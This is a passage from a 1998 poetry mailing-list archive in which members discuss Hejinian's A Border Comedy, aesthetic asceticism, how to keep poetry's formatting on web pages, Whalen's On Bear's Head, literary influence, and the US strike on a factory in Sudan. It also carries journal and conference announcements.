Fri 28 Aug 1998

Sun & Moon Press will be publishing the complete
A BORDER COMEDY late this year or early next.

Douglas Messerli

ken|n|ing wrote:
>
> List members,
> I'm looking for excerpts from Lyn Hejinian's *A Border Comedy* --
> I have the chapbook from Seeing Eye Books, the most recent Hambone, the
> first issue of The Germ . . . Any leads, please backchannel,
> Thanks, Patrick F. Durgin
>
> |
> |

> k e n n i n g```````````````|```````````````````````````````
> a newsletter of contemporary |poetry, poetics, and non-fiction writing
> |418 Brown St. #10 Iowa City, IA 52245 USA

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666. **MAYHEW**
ascetic aesthetics
Fri 28 Aug 1998

I have become interested recently in theories of aesthetics which emphasize the renunciation of "pleasure." So far, I have seen this theme in Kant, Adorno,Ortega, Bourdieu (who offers a critique of this tendency), and a few others. If anyone can steer me to other classic instances of this phenomenon (or to discussions of it) I would appreciate it. Basically, the problem is the following: why do so many theories of aesthetic "pleasure" emphasize askesis, or the renunciation of aesthetic pleasure itself?

By the way, Fray Luis de Leon was not a medieval poet, Henry. I don't know that he wrote a sonnet a day--his complete poetry is a fairly thin volume. One of the heresies of which he was accused was the suggestion that it was possible to improve upon the Latin translation of the bible (the vulgate).

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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667. **michael corbin**
Re: ascetic aesthetics
Fri 28 Aug 1998

MAYHEW wrote:

> *I have become interested recently in theories of aesthetics which emphasize the renunciation of "pleasure." So far, I have seen this theme in Kant, Adorno,Ortega, Bourdieu (who offers a critique of this tendency), and a few others. If anyone can steer me to other classic instances of this phenomenon (or to discussions of it) I would appreciate it. Basically, the problem is the following: why do so many theories of aesthetic "pleasure" emphasize askesis, or the renunciation of aesthetic pleasure itself?*

Deleuze's _Masochism: Coldness and Cruelty_ as well as Sacher-Mosoch proper may be helpful. Like with his critique of Kant, here Deleuze is trying to locate that nexus of the 'aesthetic' 'pleasure' and 'renunciation' viz. 'itself'.

mc

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668. **james perez**
Re: poetry on the web
Fri 28 Aug 1998

Dodie said...
>>Since much of the site is poetry reviews, we're trying to figure out the best way to quote poetry acurately, to maintain indents, spaces between words, etc. One possibility that's been considered is making a gif file out of a poem. Since we're trying to keep the site simple for people without a lot of computer power, that's not, perhaps, the ideal solution. Any suggestions on how to deal with maintaining spaces in poetry would be greatly appreciated.<<

My word of warning is that you'll never make everyone happy in this project, but you are trying to work around limitations, and I think everyone appreciates that (who hasn't seen there work change when printed web or paper...even if it does "help" sometimes).

You are correct that GIF-ing would be the "best" representation of the work, but re load times there are programs called Super-GIF and Super-JPEG (approx. names) that will crunch down the size of the files and make them load faster...getting exact name and availability of the software from a friend...will be back with it.

jp

_____
Get Your Private, Free Email at http://www.hotmail.com

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669. **ken|n|ing**
A Border Comedy
Fri 28 Aug 1998

List members, I'm looking for excerpts from Lyn Hejinian's *A Border Comedy* -- I have the chapbook from Seeing Eye Books, the most recent Ham-bone, the first issue of The Germ . . . Any leads, please backchannel,
Thanks, Patrick F. Durgin

|
|
k e n n i n g``````````````|```````````````````````````````
a newsletter of contemporary |poetry, poetics, and non-fiction writing
|418 Brown St. #10 Iowa City, IA 52245 USA

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670. **henry gould**

Re: ascetic aesthetics

Fri 28 Aug 1998

On Fri, 28 Aug 1998 08:24:17 -0500 MAYHEW said:
>I have become interested recently in theories of aesthetics which
>emphasize the renunciation of "pleasure." So far, I have seen this theme
>in Kant, Adorno,Ortega, Bourdieu (who offers a critique of this tendency),
>and a few others. If anyone can steer me to other classic instances of
>this phenomenon (or to discussions of it) I would appreciate it.
>Basically, the problem is the following: why do so many theories of
>aesthetic "pleasure" emphasize askesis, or the renunciation of aesthetic
>pleasure itself?

You might want to look at a book by Robin Kirkpatrick titled
Dante's Paradiso and the limitations of modern criticism : a study of style
and poetic theory
(Cambridge UP, 1978)
- he or she argues that Dante was interested in & practiced a kind of
stylistic renunciation. It's been a while since I read it - might be
related to Donald Davie's arguments in his book Purity of diction in
English verse.
>
>By the way, Fray Luis de Leon was not a medieval poet, Henry. I don't know
>that he wrote a sonnet a day--his complete poetry is a fairly thin volume.
>One of the heresies of which he was accused was the suggestion that it was
>possible to improve upon the Latin translation of the bible (the vulgate).
> >Jonathan Mayhew

okay - renaissance poet. I was reading a commentary on Nadezhda M's commentary on what OM thought he was reading in an anthology of Spanish poetry...

"Throw out the text - but keep the marginal notes" - O. Mandelstam - Henry G

↑ Index

671. Loss Pequen~o Glazier

Re: poetry on the web

Fri 28 Aug 1998

Dear Dodie & others,

The gif file idea is often the most attractive but, as Dodie mentions, less than idea for people with lower end computing power. (The poem, in this form, also looses its status as "text" ruling out the possibilities of text-based search tools which becomes more of a shortcoming as the size of your site grows.)

This matter of 'do we make the poetry text or an image' really has some implications ie, I worry about taking from our works their status as text. It's like poetry becomes idealized or removed from circulation in certain senses.

I'd vote for the <pre> tag idea. Also, lowering the basefont size by one within the <pre> tags will help people who have pre-4.0 browsers and large font settings to still see the <pre> text within a one screen width.

Loss

At 01:53 PM 8/27/98 -0700, you wrote:
>We're launching a new round of fine-tuning the Small Press Traffic website:
>
>http://www.sptraffic.org
>
>The September/October schedule is up, if any of you are curious.
>
>Since much of the site is poetry reviews, we're trying to figure out the
>best way to quote poetry acurately, to maintain indents, spaces between
>words, etc. One possibility that's been considered is making a gif file
>out of a poem. Since we're trying to keep the site simple for people
>without a lot of computer power, that's not, perhaps, the ideal solution.
>Any suggestions on how to deal with maintaining spaces in poetry would be
>greatly appreciated.
>
>Thanks.
>
>Dodie
>

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672. **Scott Keeney**
the end, no. i
Fri 28 Aug 1998

Announcing the first issue of The End Review :
with poems by :

Peter Ganick - Rachel Levitsky - Rosmarie Waldrop - Gian Lombardo - Nava Fader - William Fuller - Sheila E. Murphy - Murphy & John M. Bennett - Steve Carll - Sotere Torregian - Jennifer Lighty - W. B. Keckler - Lawrence Upton - William Marsh - Mark Salerno - Kristin Citrone, Nicole Henderson, Scott Keeney & Christine Mulia - Richard Kostelanetz - Paul Weidenhoff - Marthe Reed - Henry Gould - Steven Marks - Daniel Bouchard - Brenda Iijima - Charles Bernstein - Kreg Wallace .

plus : reactions/readings/reviews by:

Steven Marks on Wendy Battin, Alan Sondheim, Joshua McKinney and Sherry Brennan - Scott Keeney on Xue Di - Martin Spinelli on Kenneth Sherwood - Gary Sullivan on Sheila E. Murphy - Joe Torra on Norma Cole and Michael Gizzi .

e-mail: [redacted] or write: Scott Keeney, 464 Somerville Ave #5, Somerville MA 02143 to request a copy . check it out and send what you can (suggested donation is $3-$5 in US or $5-$7 out) .

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673. **Jim Rosenberg**
Re: poetry on the web
Fri 28 Aug 1998

> *Since much of the site is poetry reviews, we're trying to figure out the best way to quote poetry acurately, to maintain indents, spaces between words, etc. One possibility that's been considered is making a gif file out of a poem.*

Dodie:

The usual approach to Web pages where you want complete control over the appearance of the text is to use PDF. You really don't want to use GIF for this. The PDF approach is a bother to some people, because you have to download the Acrobat player. My suggestion would be to make it author's choice: either HTML alone, both HTML and PDF (choice available via links), or PDF only. This is the closest you will come to pleasing everybody.

To implement this you will need the full version of Acrobat on the machine on which you develop the Web site. You import the text into a word processor or desktop publishing program and then print to PDF. It creates a PDF file with

the same appearance as the printed version. Unlike GIF, in a PDF file text is still searchable, and it should load faster once the user has the player. It acts a lot more like text than a GIF will.

Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

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674. Jordan Davis
Whalen/Berrigan
Fri 28 Aug 1998

David --

Yes, there's a New York writer who took on Whalen as an influence: Ted Berrigan. Joel Lewis can tell the story better than I; On Bear's Head was insanely expensive when it came out? Didn't the poets picket Harcourt Brace Jovanovich to get them to bring the price down? It wasn't first-printing-Ulysses expensive (didn't they charge what was at the time a working stiff's monthly ((annual?)) wage?), but out of line.

Anyway, David, what's all this conjecture about what would be cool in New York? I don't understand.

Jordan

↑ Index

675. Gary Sullivan
If it wasn't for spell-check I could offer you no "cantaloupe"
Fri 28 Aug 1998

Jacques, first let me apologize for dropping, twice, the "c" from your name. Duh. [Smacks now-reddened forehead with palm.] Anyway, influence-as-collaboration is a beautiful thought, and I don't think you, personally, are an academic. But, I do think that the impulse to parse into art-historical slots is, essentially, an academic impulse, whether held & attended to by poet or professor. So, I couldn't stress enough how little, at least for me, "in [Langpo's] aftermath, the very question of writing poetry at all has been problematized" matters. It's not for me a thought really worthy of my anxious energy. I argue with Fatimah about this a lot. She genuinely believes that, in the wake of conceptual art, painting is dead. "Whatever" is finally all I can, finally, offer her. If I were a filmmaker, the fact of Paul Sharrits or Michael Snow wouldn't keep me from shooting, say, five

minutes of dogs barking from behind fences, straining at leashes, crapping on the street, & so on, however much this gesture might seem closer to Marie Menken's "Go, Go, Go," or whatever, than to Wavelength. I would, to cop Jordan's groovy street-lingo, "go, girl." You betcha.

Ultimately, Rachel Loden's poem about "geeky Philip" emerging from the shower made more of a lasting impression on me, as an instance of poetic expression & intelligence than, say, Perelman's book on the "problem" of "genius." Brilliant academics MANUFACTURE problems; less brilliant ones adhere to previously manufactured problems. Poets ENCOUNTER them, while writing, while considering writing; brilliant poets work through them rather than find themselves debilitated by them. So, my question, now, Jacques, would be, is your perceived position vis-a-vis the wake of language writing a problem you genuinely encountered? While writing? As a consequence of writing poetry? Or was it something you received, pitched by others as a problem? Because I don't want to deny the possibility that this is genuinely of import to you. It's just that I can't imagine why it would be, nor how it emerged, for you, from the actual act or process of writing. Maybe what I would ask of you is a statement or description, sans academic jargon & ideology such as "hermeneutic, semiotics, precursive, contamination, problematized," of that instance when you, Jacques Debrot, realized, for yourself, palpably insistent, that "the very question of writing poetry has been problematized."

I wanna respond to Billy, Jordon and David, & will later today. (David, you reminded me of Whalen's admission of beating off into a cantaloupe, I can't remember the name of the poem, it's in Like I Say.)

In the meantime, Jacques, thank you for your reply, and really-really, I'm interested in your response to the question I raised above, would be grateful to have it.

Such much,

Gary

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676. **Chris Piuma**

Re: poetry on the web

Fri 28 Aug 1998

At 10:29 AM 8/28/98 -500, Jim Rosenberg wrote:
>The usual approach to Web pages where you want complete control over the
>appearance of the text is to use PDF. You really don't want to use GIF for
>this. The PDF approach is a bother to some people, because you have to
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>choice: either HTML alone, both HTML and PDF (choice available via links),
>or PDF only. This is the closest you will come to pleasing everybody.
>
>To implement this you will need the full version of Acrobat on the machine
>on which you develop the Web site. You import the text into a word
>processor or desktop publishing program and then print to PDF. It creates a
>PDF file with the same appearance as the printed version. Unlike GIF, in a
>PDF file text is still searchable, and it should load faster once the user
>has the player. It acts a lot more like text than a GIF will.

I hate PDF.

It is a very nice option, allowing documents to be seen exactly as the designer formats them, but it requires a relatively powerful computer. My home computer, one of the last of the non-Power Macintoshes, struggles with PDF files. It takes forever for Acrobat to load, forever for the files to be displayed on the computer, and once they're displayed they're annoying to navigate and read.

It would be worthwhile to have the option of PDF, but you'd still want an HTML foundation, especially if you're trying to be friendly to people who don't have the fastest and best computers in the world. Certainly if I went to a site and was required to look at everything through PDF, I wouldn't bother reading it -- and there are many people using computers worse than mine.

--
Chris Piuma, etc.
flim: a free page is always looking for submissions
  http://www.brainlink.com/~cafard/flim/index.html

↑ Index

677. **henry g**
Re: If it wasn't for spell-check I could offer you no "cantaloupe"
Fri 28 Aug 1998

Why does it have to be black & white, academics & poets? seems like parsing & polarizing & categorizing is the inevitable danger or down side of making fine distinctions. There's also a kind of poetry in academic detective work. I'm just glad somebody's actually trying to read something closely & hearing things in it. You're right, Gary, to be wary of this sort of brand-naming on automatic pilot for the sake of an orderly hackademic slummation. But it doesn't have to be that way. what the diff between polarizing along Ashbery/O'Hara grid & along academic/poet grid? (is this me talking?) (I like all the posts on this thread myself)

- Henry "the Great Worm" Gould

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678. david bromige
re : whalen/berrigan
Fri 28 Aug 1998

Jordan & Listmates : Jordan handily brings up the Berrigan-Whalen connection. and I thank him for his correction : me writing NYC when I only meant O'Hara & Ashbery--sorry. As to _On Bear's Head_ being expensive, my copy was priced at $3.95 in 1969, for a book of 400 pp. Compare this with $1.45 for _Meditations in an Emergency_ (the 1967 reprint; 52 pp); $2.50 for _The Maximus Poems_ (1960, 160 pp); $2.45 for the Scribner's _The Gold Diggers_ (1965, 158 pp); $1.95 for _Testimony_ (1965, 115 pp); $3.95 for _A Day Book_ (1972, unpaginated, my guess is 150 pp), and it doesnt strike me as at all outrageous. I think the _length_ of it was some cause for comment (as for the somewhat "high-end" price). Most surprising to us out west was that this publisher should take an interest in Whalen's work.

I was an Acting Instructor that year, so had a tiny cushion a number of fellow-poets lacked; I suppose I found $3.95 affordable. Then again, Robert Duncan, who had all manner of books sent him gratis, may have given me an extra copy. But perhaps protests _were_ staged, and the price reduced on their account? David

↑ Index

679. Billy Little
Re: the write to a bad language
Fri 28 Aug 1998

a misuse of language in poetry is it possible
do you mean the chinese in the cantos
do you mean ackers logorhea
the roaring in mcclure?
the marx in zukofsky?
the whistling in blaser?
the dialect in Berryman?
the soundings in Olson?
misuse is a misuse in your query
and "bad", is that way cool language?
in which case baaad might convey your meaning better
or is bad=naughty like Frost was, not using all the commas he was supposed to, the editor fixed that tho.
Or is bad merely stinkeroo in which case almost all how to write pieces

articulate the aesthetics of bad language.
Or if bad is mistaken than youve got Harold Bloom and
Helen Vendler's recipes

billy little
4 song st.
nowhere, b.c. V0R1Z0

ah! those strange people who have the courage to be unhappy! Are they unhappy, by the way?

Alice James

↑ Index

680. **Billy Little**
thanks dave, for the sudanese whitman in the washing machine and obsessing...
Fri 28 Aug 1998

---

all i'm trying to say with the Wakoski/Oppenheimer dichotomy, the Susan Stewart/Anne Waldman dichotomy is that even in New York there's a much wider discussion than Harpo Bloom sees through his telescope, even in Boston, Fanny and Susan Howe, Weiners and Corbett, Marjorie Perloff would need a staff of twenty writing for her full time to cover the waterfront

billy little
4 song st.
nowhere, b.c. V0R1Z0

ah! those strange people who have the courage to be unhappy! Are they unhappy, by the way?

Alice James

↑ Index

681. **Billy Little**
re : whalen/berrigan
Fri 28 Aug 1998

If i'm not mistaken, Don Allen was working for Harcourt, Brace briefly and saw On Bear's Head thru the press there. And I'm almost certain there was a demonstration at the publishers, I wasn't there but Steve Jonas, or Joe Dunn, or Bill Corbett or Tom Lux might have been.

billy little
4 song st.
nowhere, b.c. V0R1Z0

ah! those strange people who have the courage to be unhappy! Are they unhappy, by the way?

Alice James

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682. **David W. McFadden**
Re: warlox-on-bagel, pentagram, an address
Fri 28 Aug 1998

[redacted] writes:
>Want to address Listafarians on this topic of the military. They work for
>us. We pay them. I would like to have a surer sense that they realize they
>are our employees, wouldn't you? Same goes for other government employees.
>They are our servants, right? What went wrong ? That we are the cattle of
>the Masai? Are we captive? Or aren't we? Is this why it doesn't much
>matter
>what we think or say about matters of public policy? Is this why words die
>around such topics? Does anybody see any way out, any way to restore the
>situation to its proper sets of relation, any means to reverse this
>reversed governance? Really? db3
The Presidential approval-rating polls suggest there is no way out.
dwm
"The ugly, dirty fact was still there, right under our noses, and no
amount of brandy could wash it away."
- Christopher Isherwood, Mr. Norris Changes Trains (1935).

↑ Index

683. **Gary Sullivan**
last call
Fri 28 Aug 1998

Jordan & others, many of the question marks in my original post were glitches; apparently whenever I type ellipses, they're translated, by the Buffalo server or whatever as question marks. It's a bummer because I love ellipses. Anyway, as Henry reminds me, by pitching poetic impulse against academic impulse, I'm doing, essentially, what I accused Jacques of doing, so I'm going to respond to Jacques' point that there seems to be an Ashberyian drift and an O'Hara drift by saying, simply, I don't see it, or feel it, as palpably as he does. I've already said why I do or don't (mostly don't) see O'Hara as primary influence of the poets he'd mentioned. I mean, so, I disagree with you, I don't think Jacques' point is, on looking into the work myself, accurate. But, you seem to agree with him. So,

that would be interesting: could you, and Jacques, you too, do close readings of some of the work by poets Jacques mentioned and help me better understand how this conclusion has been arrived at?

I can't speak for Chris, certainly not with respect to whatever authority he might grant a project in which his participation was significant. I sense, and tell me if I'm wrong, anxiety or disappointment that I simply find myself unable to grant this volume any more weight, as barometer of contemporary poetry, than the latest, well, Talisman. I attend to, find relevance in, & do love, what genuinely compels me; not to any & all things apparently compelling to the culture, or subculture of literary/arts administrative coteries. As we all, I think, do, if to greater or lesser degree. & if the world is truly full of amputees, one wants to know who dropped the bombs, who laid the mines. [Sidenote: Coffee House Press published a book called Atomic Ghost a couple years back, a book of (mostly nuclear) weapon protest poems. One of the granting authorities was Honeywell. I'll bet Daniel Buchard could tell you what they manufacture.]

David, the copy you have of On Bear's Head is a paperback. It was the price of the hardback that was picketed. Or, so I read in one of Rexroth's essays. I don't remember offhand what the price was. But, Billy & David, yeah, Whalen, & duh, Whalen/Berrigan, which I won't go off on here, having posted several months ago en length on what I felt Berrigan had found of use there. (Continuous present being one thing, which Whalen discovered in Stein.) But, this idea of Whalen allowing more in, well that might be why I return to him more than any other more-or-less contemporary American poet. What I don't find elsewhere, I'll find there. Or, maybe, being from the west coast, it's in part a question of matched sensibilities. I don't know. I just think he's great, & it doesn't matter to me whatsoever if university professors think so or not. Nor that he's absent (speaking of anthologies) from the latest UC Berkeley that Rothenberg & Joris put together. (Many wonderful W poets are missing: Whalen, Welch, Wieners, Wheelwright, though the latter may be too early for that volume.) W is for "Whatever."

Billy, do you really live on Song Street in Nowhere, Canada? If so, dang man, that's like, Groove Factor 10. I would, though, never do an anthology. I don't like how they're read, how they're used. They promote laziness, complacency and grant authority vis-a-vis taste & relevance to agencies with mere capital & literary/academic reputation behind them. Every poet & reader should discover for him/herself what's of genuine relevance to their own lives & art. Is this attitude, to the extent it might draw someone "away from the numbers," what Jordan means by amputee? If so, I'd rather lose my limbs than my soul. I don't think, however, that it ever really need come down to that.

Ciao for niao,

Gary

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684. Elizabeth Treadwell
Linda Russo's Kathleen Fraser
Fri 28 Aug 1998

A public note of thanks to Linda Russo, whose new email I lack, for the new Kathleen Fraser page at the EPC. Reading Analytica Femina has really improved my stumbling pen to paper to oh just the dishes this morning.

Elizabeth

Outlet, a periodical
Double Lucy Books
P.O. Box 9013
Berkeley, California 94709
U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

685. KENT JOHNSON
Spin
Fri 28 Aug 1998

On Aug 27, Mark Weiss wrote:

> *Look, if we have to have this discussion on the list let's just avoid spin. Today's Times article about the chemical trace found at the Sudanese factory says that it's unlikely, but remotely possible, that the compound in question could have commercial uses, although none of the sources quoted knows of any such uses.*

Really, Mark, the spin here is coming from you. The article said much more: It quoted American experts in chemical warfare and analysis as saying that the VX precursor chemical Empta (supposedly the smoking gun that showed up in a "soil sample") was very similar in structure to "fonofos," an agricultural insecticide, and that these could be easily confused, particularly in the highly possible scenario of the "sample's" corruption through improper storage and handling. The article also goes on to quote an official with the Organization for the Prohibition of Chemical Weapons in the Hague, who said that research suggests that Empta "could be the byproduct of the breakdown of other pesticides." And the article concludes with the following paragraph: "Thomas Carnaffin, a British engineer who worked as a technical manager during the factory's construction from 1992 to 1996, said he never saw any evidence of Empta or other materials

involved in the production of VX. "I suppose I went into every corner of the plant,' he said in a telephone interview from his phone in England. 'It was never a plant of high security. You could walk around wherever you liked, and no one tried to stop you.'"

Today's lead editorial in the NYT calls on the Clinton administration to stop being so mysterious about the whole thing. The piece refers to a rather compelling fact that has been little discussed in the mainstream media: That the government of Sudan has asked for a United Nations team of chemical experts to come in, pick through the plant with a fine-toothed comb, and take all the soil samples they deem necessary. The United States has refused to cooperate and is blocking any investigation.

Time will tell, I suppose. But then again, time may not tell, and it may be that this, like the truth about so many other crimes committed by our government, will be washed down the drainhole of history.

Kent

↑ Index

686. **Jordan Davis**
Drift, collapse, mutilation
Fri 28 Aug 1998

Gary --

I'd like to take you up on your challenge to isolate drift -- I'm not sure close reading will demonstrate it -- what's the story of Ashbery being told his poems don't make sense, so he says show me where, then he explains all the references .... somebody said the imperative all americans feel is: not to be a sucker ... Barnum? or some other epistemologist. But there I go, buying into that sucker/huckster dichotomy.

I was thinking about the Balkans and Sierra Leone in particular (and Carolyn Forche's poem was part of the thinking) when I used the word 'amputee.'

Neither Yeltsin nor Clinton wants to resign.

Maybe change is written in iambs and news in anapests.

-- Jordan

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687. louis stroffolino
HELP!
Fri 28 Aug 1998

If anybody in the (lack of spaciness-allowing) NYC area
knows of anything along these lines, could you please get
in touch with these people

I thought I knew of a space availbale between
World Trade Tower One and World Trade Tower Two
(the fearful symmetry of O'Hara and Ashbery)
but I think a beached Whalen beat me to it.....

c

---------- Forwarded message ----------
Date: Thu, 27 Aug 1998 16:49:15 EDT
From: [redacted]
To: [redacted]
Subject: apartment

birch hayes spoke to you today about a place to live.....HELP if you can. it's not the money, we have the money.....we just haven't found anything to live in yet.....

thank you in advance,

ilene m.w. lush

ps: we are living at my mother's in connecticut.....if you can imagine

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688. Michael Kelleher
alyricmailer #8
Fri 28 Aug 1998

Hey folks

alyricmailer 8

Flipsides

by Sheila E. Murphy

is up at http://writing.upenn.edu/spc/alyric/alyric8.html

Sheila E. Murphy’s book manuscript Letters to Unfinished J. was selected

in last year’s open poetry competition sponsored by Sun & Moon Press, and will be published by Sun & Moon. Dennis Phillips was the judge. A Sound the

Mobile Makes in Wind: 50 American Haibun was just released from Mudlark (1998). Falling in Love Falling in Love With You Syntax: Selected and New Poems appeared from Potes & Poets Press in 1997. Additional recent works include A Clove of Gender (Stride Press, 1995), Pure Mental Breath (Gesture Press, 1994), and Tommy and Neil (SUN/gemini Press, 1993). Her work has been widely anthologized, most recently in Danger: Poets at Play (International Friends of Transformative Art, 1998), Fever Dreams: Contemporary Arizona Poetry (The University of Arizona Press, 1997), The Gertrude Stein Awards in Contemporary Poetry (Sun & Moon Press, 1994, 1995), Primary Trouble: An Anthology of Contemporary American Poetry (Talisman House Press, 1996), and The Art of Practice: 45 Contemporary Poets (Potes & Poets Press, 1994). Twelve years ago, she founded and continues to coordindate with Beverly Carver the Scottsdale Center for the Arts Poetry Series Her home is in Phoenix.

Upcoming issues: notes from the place(less Place) gathering this past june, Ben Friedlander, and more.

Enjoy!

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689. **Mark Weiss**
Re: Spin
Fri 28 Aug 1998

I agree with your last paragraph. As to my statement about spin, I stand by it. Read the whole article. Also note--the story and editorial conclusions haven't made, as far as I remember, the Washington Post or the LA Times. My guess is that they're not yet sure it's a story. Important to remember the NY Times' consistent anti-Clinton stand. But, as you say, time, and more knowledge, will tell. I, for one, can be patient for a couple of weeks.

At 01:08 PM 8/28/98 -0500, you wrote:
>On Aug 27, Mark Weiss wrote:
>
>>Look, if we have to have this discussion on the list let's just
>>avoid spin. Today's Times article about the chemical trace found at
>>the Sudanese factory says that it's unlikely, but remotely possible,
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>>none of the sources quoted knows of any such uses.
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>"sample's" corruption through improper storage and handling. The
>article also goes on to quote an official with the Organization for
>the Prohibition of Chemical Weapons in the Hague, who said that
>research suggests that Empta "could be the byproduct of the breakdown
>of other pesticides." And the article concludes with the following
>paragraph: "Thomas Carnaffin, a British engineer who worked as a
>technical manager during the factory's construction from 1992 to
>1996, said he never saw any evidence of Empta or other materials
>involved in the production of VX. "I suppose I went into every corner
>of the plant,' he said in a telephone interview from his phone in
>England. 'It was never a plant of high security. You could walk
>around wherever you liked, and no one tried to stop you.'"
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>Today's lead editorial in the NYT calls on the Clinton administration
>to stop being so mysterious about the whole thing. The piece refers
>to a rather compelling fact that has been little discussed in the
>mainstream media: That the government of Sudan has asked for a United
>Nations team of chemical experts to come in, pick through the plant
>with a fine-toothed comb, and take all the soil samples they deem
>necessary. The United States has refused to cooperate and is blocking
>any investigation.
>
>Time will tell, I suppose. But then again, time may not tell, and it
>may be that this, like the truth about so many other crimes
>committed by our government, will be washed down the drainhole of
>history.
>
>Kent
>
>

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690. **Charles Bernstein**

Masha Zavialov email/Russain Poetry Festival (fwd)

Fri 28 Aug 1998

Masha Zavialov sent this message me to me a week ago, but I have been away and can only pass it on now. You may recall that she posted the information on the immediately forthcoming Russian Poetry festival in St. Petersburg (Sept. 25-

27). (Naturally, one has to wonder how she and other Russians are faring under the economic chaos of this week, which must be a terrible one for them.)

---------- Forwarded message ----------
Date: Thu, 20 Aug 1998 10:10:07 +0400 (MSD)
From: "Sergei A. Zavialov" <[redacted]>
To: [redacted]
Subject: change of address

Dear Charles
My email was not working for several days - my provider was doing all kinds of nasty things with my address and now I have a different one:
[redacted]
I'm afraid that the notice on the festival on the Poetics List has an old version. Is it possible to change it?
Sorry to give you so much trouble
Best wishes
Masha

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691. **P.Standard Schaefer**
RIBOT conference
Fri 28 Aug 1998

College of Neglected Science: 2nd annual RIBOT conference

Paul Vangelisti asked me to post this information about the Ribot (pronounced ree-boe) conference to celebrate the sixth issue. I also want to say that last year's conference on Catalina was a lot of fun. A lot of wonderful (and diverse) poets showed up like Norma Cole, Leslie Scalapino, Nathaniel Tarn, Martha Ronk, Mark Salerno, Todd Barron, Douglas Messerli. Despite what people say about the L.A. scene, there are a lot of sharp people in town, more now than ever, and a lot of momentum building up through this second conference. I look forward to seeing a large horde of west coast youngsters like myself. I hear Garrett Caples (showed up last year) and Jeff Clark may attend. (By the way, Jeff Clark is definitely not working for the FBI...more likely is wanted by them) Hopefully we can get Jacques Debrot back out from the Boston area again this year. What about you cats in Atlanta? I hear airlines fares are reasonable right now. With Otis College sponsoring the conference this year, a lot more visual artist are likely to show up. I hear there'll be some free booze.

One thing I'm noticing is missing from the following info that Paul sent me is that there are hotel rooms available for a group rate of $65 a night, free airport shuttle.

"Generation"

an literary & arts conference celebrating the publication of Ribot 6 —

Over 60 Under 30 (poets & visual artists from around the world, born before 1938 after 1968)

October 30-31 at Otis College of Art & Design (9045 Lincoln Blvd., Los Angeles 90045)

Opening reception and publication party, Friday, October 30, 6:30 p.m.

Symposia, Saturday, October 31, 10:30 a.m. - 5:30 p.m.

Masked Ball, Saturday, 9 p.m.

Attendance free and open to all ages. For more information, [redacted]

This event is co-sponsored by the Communications Design, Fine Arts and Liberal Studies Departments of Otis College of Art & Design, in cooperation with L.A. Books.

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692. **charssmith**
Re: A Border Comedy
Fri 28 Aug 1998

In a message dated 98-08-28 12:19:40 EDT, you write:

<< Sun & Moon Press will be publishing the complete
A BORDER COMEDY late this year or early next.

Douglas Messerli >>

whatever happened to S/M's publication of Lyn's writing thru Oppen's _Of Being Numerous_? (can't remember her exact title right now)

--cs

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693. **David Baratier**
Re: last call
Fri 28 Aug 1998

Jacques

If Gary is going out, having published Chris's work for awhile now including _Oops_ I'll give it a try if no one will hold me accountable source for source. Though I am a bit elliptical, if something isn't clear let me know. I'll take the

first stanza for two hundred from "Christmas Card from a landlord" that appears in _Light as a Fetter_ & I first published in Pavement Saw.

In giddy moods a peach doesn't have to become
A seed to perpetuate the species, a building can
Be torn down by plopping another building, ready for
Occupancy, in the same spot, but I can only hope
To pick up the thread she gave me before spring
Comes around green again like fool's gold...

In giddy moods (James Tate _Constant Defender_ I think it's Jelka) a peach doesn't have to become / A seed to perpetuate the species, (Dylan Thomas "A process in the weather of the heart" the seed that makes a forest of the loin/ forks half of its fruit) (this is a good gloss for the entire piece now that I'm thinking of it, and so is Steven's second section of "Two Letters" in Opus) [Also Shakespeare Sonnet 93 or better yet 1 "Thou art now the worlds freshest ornament / And only herald to the gaudy Spring / Within thine own bud buriest content"] a building can / Be torn down by plopping another building, ready for / Occupancy, in the same spot, (The Fall: derived from the repetition of a song on the album _The Wonderful and Frightening World of the Fall_) but I can only hope To pick up the thread she gave me before spring Comes around green again like fool's gold... (I can't figure this one, it's close to mind but not there yet, I would take a stab at a derivation from Berryman's Dream Songs or a play of W.S.)

Be well

David Baratier

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694. **David Zauhar**
Re: re : whalen/berrigan
Fri 28 Aug 1998

Actually, I have a hardback of On Bear's Head (not handy) and I seem to remember that the price was $17.95 at a time when most hardcovers were about a third of that, which would be comparable to a volume of poetry now going for $60 or so today. I also bought a copy at a Chicago Public Library sale last week for the tragically low price of 50 cents.

David Zauhar
University of Illinois at Chicago

"I believe that the devil is in these poets. They destroy all universities. And I heard from an old master of Leipsic who had been Magister for 36 years that

when he was a young men then did the university stand firm, for there was not a poet within 20 miles."

Epistolae Obscurorum Virorum, ii.46. Quoted in Helen Waddell's _The Wandering Scholars_

On Fri, 28 Aug 1998, Billy Little wrote:

> *If i'm not mistaken, Don Allen was working for Harcourt, Brace briefly and saw On Bear's Head thru the press there. And I'm almost certain there was a demonstration at the publishers, I wasn't there but Steve Jonas, or Joe Dunn, or Bill Corbett or Tom Lux might have been.*
>
> *billy little*
> *4 song st.*
> *nowhere, b.c. V0R1Z0*
>
> *ah! those strange people who have the courage to be unhappy!*
> *Are they unhappy, by the way?*
>
> *Alice James*

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695. **charssmith**
Re: Whalen/Berrigan
Fri 28 Aug 1998

In a message dated 98-08-28 12:46:48 EDT, Jordan writes:

<< Yes, there's a New York writer who took on Whalen as an influence: Ted Berrigan. Joel Lewis can tell the story better than I; On Bear's Head was insanely expensive when it came out? Didn't the poets picket Harcourt Brace Jovanovich to get them to bring the price down? It wasn't first-printing-Ulysses expensive (didn't they charge what was at the time a working stiff's monthly ((annual?)) wage?), but out of line. >>

Jordan,

My 1969 (paper) copy reads "$3.95 Slightly higher in Canada." or is that what HB "& World" lowered it to?

David's right, _OBH_ (& the fabulous _Diamond Noodle_ were stacked high on remainder tables for several years. Sad & almost impossible to imagine they're outta print.

scrabble for pw

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  H   A
B E A R ' S
  A   R
  D   E
      S
    ATTENTION
      S
```

all best,
--cs

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696. **Jacques Debrot**
Re: last call
Fri 28 Aug 1998

